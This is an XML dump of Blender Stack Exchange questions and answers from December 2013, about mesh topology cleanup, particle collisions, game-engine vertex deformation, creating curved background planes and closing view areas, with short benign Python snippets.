  <row Id="5611" PostTypeId="2" ParentId="5585" CreationDate="2013-12-17T07:54:27.423" Score="3" Body="&lt;p&gt;It would seem that the only way to do this is by mirroring, then inverting the rotation manually:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Mirror your empty with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aC5GZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Invert the rotation of the mirrored empty by adding a &lt;code&gt;-&lt;/code&gt; (or removing it if the rotation is already negative):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PaGAz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You can automate inverting the rotation with a simple python script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;ob.rotation_euler.x = ob.rotation_euler.x * -1&#xA;ob.rotation_euler.y = ob.rotation_euler.y * -1&#xA;ob.rotation_euler.z = ob.rotation_euler.z * -1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To use, first mirror the object with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;, then run in the text editor with the mirrored object selected.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-17T22:41:24.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5613" PostTypeId="1" AcceptedAnswerId="5622" CreationDate="2013-12-17T12:07:44.190" Score="6" ViewCount="2747" Body="&lt;p&gt;I'm working with a mesh generated by an advanced photogrammetry technique &lt;a href=&quot;http://ir-ltd.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ir-ltd.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The topography is not pretty; here is an example screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjMPn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the triangle density does not conform to the smoothness of the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this is due to the way the algorithm determines likely candidates for points of interest -- I shave my head myself and the result was uneven; patches of hair probably generate more candidates and hence great a triangle bunch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, is there some technique for tidying it up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decimation is the only way I can think of. And I will be decimating anyway. So I almost didn't ask the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am thinking maybe if I first reduce the mesh to a clean evenly distributed mesh, the decimation tool may produce cleaner output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any process I can perform to tidy up the mesh topology?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS This is the 100 K mesh.   I also have 500 K and 2 M.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2017-03-22T20:43:26.157" Title="Tidy up mesh topography" Tags="&lt;mesh&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5614" PostTypeId="2" ParentId="5613" CreationDate="2013-12-17T12:46:42.947" Score="3" Body="&lt;p&gt;For such uneven vertex distribution &lt;code&gt;sculpting&lt;/code&gt; with &lt;code&gt;dynamic topology&lt;/code&gt; and &lt;code&gt;simplify tool&lt;/code&gt;could work well.&#xA;There was a &lt;a href=&quot;https://blender.stackexchange.com/a/5564/1610&quot;&gt;great explanation of this problem around here&lt;/a&gt; no more than a day or two ago:&lt;/p&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-12-17T12:46:42.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5615" PostTypeId="1" CreationDate="2013-12-17T12:47:30.007" Score="12" ViewCount="9563" Body="&lt;p&gt;In the use &lt;code&gt;particle system&lt;/code&gt; how to avoid two &lt;code&gt;particles&lt;/code&gt; intersect each other as in the following figure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZKbh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Our settings for particles:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;code&gt;Physics = Newtonian, [checked] Size deflect,&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;Render: Object: dupli object : icosphere&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;br&gt;&#xA;The original aim was to simulate separation of sands by some structures (combinations of tubes) due to their weights and the system configuration. So in our model, we used particle system to generate a continuous feed of sands into the system. Finally some sands are collected in some containers somewhere in the system.&lt;br&gt;&#xA;The Figure shows a collector in which the intersection problem discovered. We also realised that not having self-collision between sand particles may bias the separation procedure as the particles do not collide each other, they were expected to do.&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="1716" LastEditDate="2013-12-18T08:58:42.510" LastActivityDate="2014-10-31T16:35:22.427" Title="How to correct collision between particles" Tags="&lt;physics&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5616" PostTypeId="2" ParentId="5596" CreationDate="2013-12-17T12:51:28.320" Score="4" Body="&lt;p&gt;Its hard to answer your question since you just say &lt;em&gt;Help with animation&lt;/em&gt;, For any kind of detail you would need to say what problems you have with existing tolls tools that you imagine Python may be able to help you with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's tools might do everything you need, in that case theres probably not so much use for Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when you start doing larger, more involved projects - inevitably you start having to solve problems outside the scope of the default toolset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some times you can find pre-made extensions, other times you may want to start scripting a little yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this applies to any area of Blender, not just animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As has been mentioned, drivers are the obvious area you may want to learn at least basic Python for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing that was not mentioned, you may want to write one-liners in the Python console, these can speedup your workflow with some quick automation, without you having to become a Python expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg, rename selected bones to add a prefix and lowercase the name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for b in C.selected_editable_bones: b.name = &quot;prefix_&quot; + b.name.lower()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-17T12:51:28.320" CommentCount="0" CommunityOwnedDate="2013-12-17T12:51:28.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="5617" PostTypeId="1" CreationDate="2013-12-17T16:11:42.160" Score="7" ViewCount="2685" Body="&lt;p&gt;I have a subdivided plane I want to act as a niveau map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the niveau extremes' locations and want the map to display the niveau in the form of z=f(x,y) with x,y as the location of a significant niveau point and want to plot z to the plane with a function f of my choosing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change and apply the vert's location (z value)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I'd like the changes to be real time. I'd like to show the movement of the niveaus with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Because of that they need to happen while the game runs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Yes I tried to find and change the objects vertices like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpyobject=bpy.data.scenes[scenename].objects[bgeobject.name]&#xA;for vert in bpyobject.data.vertices:&#xA;    vert.co[2]=vert.co[2]+1&#xA;bpyobject.data.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this only updates the mesh after the game engine ends.&lt;/p&gt;&#xA;" OwnerUserId="795" LastEditorUserId="55" LastEditDate="2013-12-17T17:36:09.550" LastActivityDate="2013-12-17T18:23:45.350" Title="Deforming a mesh in realtime (Game Engine)" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5618" PostTypeId="2" ParentId="5524" CreationDate="2013-12-17T16:19:15.310" Score="1" Body="&lt;p&gt;360°x180° puts out a 2d image that's distorted so that the angles are now x and y axis correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just render the 360°x180° and cut the x120° (two thirds of the 180°) that you don't want off?&lt;/p&gt;&#xA;" OwnerUserId="795" LastActivityDate="2013-12-17T16:19:15.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5620" PostTypeId="2" ParentId="461" CreationDate="2013-12-17T17:11:14.273" Score="0" Body="&lt;p&gt;The blender game engine's objects' properties are organized like a dictionary. So you can use the interface to set it, I am sure there is a function to do it similar to the __setattr__ built in and you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GameObject[&quot;newprop1&quot;]=1&#xA;GameObject[&quot;newprop2&quot;]=&quot;Hi there!&quot;&#xA;GameObject[&quot;newprop3&quot;]={&quot;A&quot;:&quot;B&quot;}&#xA;GameObject[&quot;newprop4&quot;]=[1,2,3,4,5]&#xA;GameObject[&quot;newprop5&quot;]=True&#xA;GameObject[&quot;newprop6&quot;]=3.14156&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think lists and dictionaries don't always behave as expected since properties aren't inteded to be used like this, updating and changing is difficult afaik but you can still use them otherwise and if you need to change them and run into difficulties you can always create temporary local copies, change those and then reassign the property with the new value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The others should work fine though.&lt;/p&gt;&#xA;" OwnerUserId="795" LastActivityDate="2013-12-17T17:11:14.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5621" PostTypeId="2" ParentId="5617" CreationDate="2013-12-17T17:26:51.247" Score="5" Body="&lt;p&gt;Firstly you'll need to use the &lt;code&gt;bge&lt;/code&gt; module, &lt;code&gt;bpy&lt;/code&gt; data access wont work since the game engine stores its own data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this you will need to use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bge.types.KX_MeshProxy.html&quot; rel=&quot;nofollow&quot;&gt;KX_MeshProxy&lt;/a&gt;, In the link there is an example for changing a meshes vertex color, but from the API docs you can see how you could change location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&#xA;    from bge import logic&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = logic.getCurrentController()&#xA;object = cont.owner&#xA;&#xA;for mesh in object.meshes:&#xA;   for m_index in range(len(mesh.materials)):&#xA;      for v_index in range(mesh.getVertexArrayLength(m_index)):&#xA;         vertex = mesh.getVertex(m_index, v_index)&#xA;         vertex.XYZ = 1, 2, 3 * v_index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;that this isnt really optimal from Python, for a high poly mesh the Python script may slow down execution a lot, if the motion isnt so fast you could move &lt;strong&gt;N&lt;/strong&gt; verts per script execution, so at least you dont get jerky playback which would happen if you simply execute the script less often.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may want to look into GLSL vertex shaders, this is quite invovled but has the advantage that moving vertices about is offloaded onto the graphics card.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-12-17T18:23:45.350" LastActivityDate="2013-12-17T18:23:45.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5622" PostTypeId="2" ParentId="5613" CreationDate="2013-12-17T19:00:09.467" Score="5" Body="&lt;p&gt;Perhaps you can be helped by the remesh modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses the shape of the original mesh but builds it from scratch with even quads. The setting octtree depth controls how detailed the new mesh becomes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have made a little example. Because I started with a icosphere, there are visible edges of the original mesh. As you can see, there are some more settings to tweak, especially the mode operator can be experimented with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start mesh:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xaokr.png&quot; alt=&quot;mesh with uneven topology&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With modified:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rZIz6.png&quot; alt=&quot;mesh with modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modified applied (mode sharp), in edit mode to show even topology:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AvcIj.png&quot; alt=&quot;final mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifier applied (mode smooth):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DsvN0.png&quot; alt=&quot;final mesh2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-17T19:00:09.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5623" PostTypeId="1" AcceptedAnswerId="5624" CreationDate="2013-12-17T19:22:40.490" Score="32" ViewCount="76638" Body="&lt;p&gt;For a background, a lot of times I need a vertical wall, horizontal bottom, and a nice connecting curved surface between them in front of the camera. So far, I have used two methods:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Deform a plane along the curve. This takes some time to get it right, as curve deformations are tricky, and it is almost impossible to make it truly horizontal or vertical.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a cube, add bevel, apply, remove unnecessary parts of the mesh. Bevel tends to have artifacts around the corners of the cube for large bevel values and number of segments (e.g 25% of the cube side length, 64 segments).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What do you use? Am I missing some basic technique?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="1880" LastEditDate="2017-08-04T05:22:53.663" LastActivityDate="2020-01-05T10:24:21.633" Title="What is the fastest way to create a curved plane?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="5624" PostTypeId="2" ParentId="5623" CreationDate="2013-12-17T19:40:25.790" Score="15" Body="&lt;p&gt;The fastest way I can think of is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a mesh cube&lt;/li&gt;&#xA;&lt;li&gt;Delete two vertices (so that you're left with a right angle)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt; to add a subsurf modifier&lt;/li&gt;&#xA;&lt;li&gt;and then &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;r&lt;/kbd&gt; to add an edge loop near the end of each face so that the ends are square (I can't post screenshots at the moment, sry).&lt;/li&gt;&#xA;&lt;li&gt;done&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Andrew Price does something similar near the middle of this tutorial (at time 31:19): &lt;a href=&quot;http://www.youtube.com/watch?v=5Yd7ad08e54&amp;amp;feature=player_embedded#t=1879&quot;&gt;http://www.youtube.com/watch?v=5Yd7ad08e54&amp;amp;feature=player_embedded#t=1879&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His result is the same, but he starts with a plane instead of a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bonus, if you're willing to learn a little Python and Blender coding, it's not hard to make an add-on that would add that object as a primitive in the Add-&gt;Mesh menu.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-17T19:40:25.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5625" PostTypeId="2" ParentId="5623" CreationDate="2013-12-17T19:55:51.890" Score="38" Body="&lt;p&gt;I usually do it like this, it's the quickest I've been able to find.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a curve (I like to use paths because they are initialised as a straight line)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BshIC.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change its shape around a bit&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Pq2ji.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Convert it to a mesh &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;c&lt;/kbd&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TnKOX.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extrude (in edit mode, &lt;kbd&gt;e&lt;/kbd&gt;)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xfatj.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Admire the beauty.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7XsSW.png&quot; alt=&quot;Beautiful!&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2013-12-17T19:55:51.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5626" PostTypeId="2" ParentId="5623" CreationDate="2013-12-17T20:09:28.273" Score="7" Body="&lt;p&gt;The &lt;em&gt;absolute&lt;/em&gt; fastest way to do this is to just add a plane, extrude one side and crease all the edges (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;) except the one where the planes join (you can also select the edges and increase the &lt;em&gt;Mean Crease&lt;/em&gt; in the properties panel). Next add a subsurf modifier and shade it smooth, much less polys than the other solutions and an equally nice result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rqBh3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-17T20:09:28.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5627" PostTypeId="2" ParentId="5537" CreationDate="2013-12-17T20:14:18.300" Score="1" Body="&lt;p&gt;Using circle select rather than box select might make things easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;C&lt;/kbd&gt;, then click and drag, right-click to exit, middle-click to deselect rather than selecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: You can also use the mouse wheel to change the size of the circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(key word here is might, I don't know what the performance is like for you. I'm sure editing a mesh like that wouldn't be fun on my computer.)&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2013-12-17T20:14:18.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5628" PostTypeId="2" ParentId="5623" CreationDate="2013-12-17T20:25:15.270" Score="15" Body="&lt;p&gt;Another way is to use a plane and bevel it in edit mode. I can do the following steps in &lt;em&gt;about&lt;/em&gt; 10 seconds (including the time to start and stop the timer).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add plane (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Mesh &gt; Plane&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i2RWz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;), select one edge (&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; deselect all&lt;/em&gt;, &lt;kbd&gt;B&lt;/kbd&gt; &lt;em&gt;&gt; &lt;a href=&quot;https://blender.stackexchange.com/a/5005/599&quot;&gt;border select&lt;/a&gt;&lt;/em&gt;), and extrude it upwards (&lt;kbd&gt;E&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AgIVj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the corner edge again (&lt;kbd&gt;A&lt;/kbd&gt; to deselect all, &lt;kbd&gt;B&lt;/kbd&gt; for border select)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o6zGV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bevel with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;. Use the keyboard or the scrollwheel to set the number of segments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GSp0r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shade smooth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example (click the gif for a video version which can be slowed down):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/RingedAjarHen#?speed=0.25&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/RingedAjarHen.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Convenience:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you find your self creating these objects for what seems like every other project, you could either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a primitive out of it with the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?256602-Addon-EWOCprojects-presents-CreaPrim&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;CreaPrim&lt;/em&gt; addon&lt;/a&gt; so it's available in the &lt;em&gt;Add mesh&lt;/em&gt; menu. (See &lt;a href=&quot;https://blender.stackexchange.com/a/1794/599&quot;&gt;this answer&lt;/a&gt; for instructions)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Include one in your startup.blend on a separate layer (this is what I did):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open a new file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the &quot;bent plane&quot; object and optionally move it to another layer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the startup.blend (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;). Note that this will save &lt;strong&gt;everything&lt;/strong&gt; (view angle, materials, objects, user preferences, etc.) as it is as the way blender will start in the future.&lt;br&gt;&#xA;See &lt;a href=&quot;https://blender.stackexchange.com/q/1520/599&quot;&gt;this question&lt;/a&gt; for more information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-07-19T00:35:15.260" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5631" PostTypeId="1" AcceptedAnswerId="5632" CreationDate="2013-12-17T21:50:42.640" Score="190" ViewCount="371818" Body="&lt;p&gt;I would like to close some view windows that I opened accidentally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OG9zO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: another note: I tried searching for the solution, but only found things like &quot;Join Area&quot;, which don't seem to work in this situation.&lt;/p&gt;&#xA;" OwnerUserId="1885" LastActivityDate="2020-07-06T12:56:43.957" Title="How to close view windows?" Tags="&lt;interface&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="5632" PostTypeId="2" ParentId="5631" CreationDate="2013-12-17T21:54:13.650" Score="151" Body="&lt;p&gt;Click and drag on the corner with the grabber (same one for making a new window) and drag DIRECTLY over the neighboring panel that you want to make disappear (if you drag anywhere else, you'll make a new panel). This will make a grey arrow which shows you which panel will get put on top of the other. Release the mouse button when your cursor is over the panel you want to go away.&lt;/p&gt;&#xA;&lt;p&gt;Two caveats:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when you click and drag, you must immediately cross the boundary between two panels, before dragging anywhere else. THEN it will make the grey arrow. If you click and drag into the same panel, you'll create a new panel.&lt;/li&gt;&#xA;&lt;li&gt;you can only join two windows that share a COMPLETE edge. If you have one full window on the left, and two windows (one on top of the other) on the right, then you have to join the two windows on the right together before you can join the window on the left.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Now, using this knowledge, you have a bit of a puzzle to solve. You have to close each of the windows in the red square individually. So I'd start with the smallest one first. Join it with the one with which it shares a complete edge, and the go to the next-smallest.&lt;/p&gt;&#xA;&lt;p&gt;This is exactly what you need: &lt;a href=&quot;http://www.youtube.com/watch?v=AMBi1R7KB48&quot; rel=&quot;noreferrer&quot;&gt;http://www.youtube.com/watch?v=AMBi1R7KB48&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2020-07-06T12:56:43.957" LastActivityDate="2020-07-06T12:56:43.957" CommentCount="18" ContentLicense="CC BY-SA 4.0" />
  <row Id="5633" PostTypeId="2" ParentId="5631" CreationDate="2013-12-17T21:54:47.153" Score="125" Body="&lt;p&gt;To close an area, grab the tab that overlaps the area you want to keep and abuts the area you want to close:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/avSSx.png&quot; alt=&quot;screenshot showing draggable tab in the top right corner of an area&quot; /&gt;&lt;br /&gt;&#xA;&lt;sub&gt;There's a corresponding tab in the bottom left corner for closing areas below and to the left.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;To close, drag the tab over the area you want to remove. An arrow will appear:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ukCl0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Release the mouse and the area with the arrow over it will disappear.&lt;/p&gt;&#xA;&lt;h2&gt;Another way&lt;/h2&gt;&#xA;&lt;p&gt;Hover between the areas so your mouse looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mXODh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The right click and select &lt;em&gt;Join area&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQ9q3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then mouse over the area you want to remove and click to confirm.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;For your situation, you must first close all the areas inside the area you want to close:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IG7Ut.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/interface/window_system/areas.html#areas&quot; rel=&quot;noreferrer&quot;&gt;manual&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-04-01T06:43:01.610" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
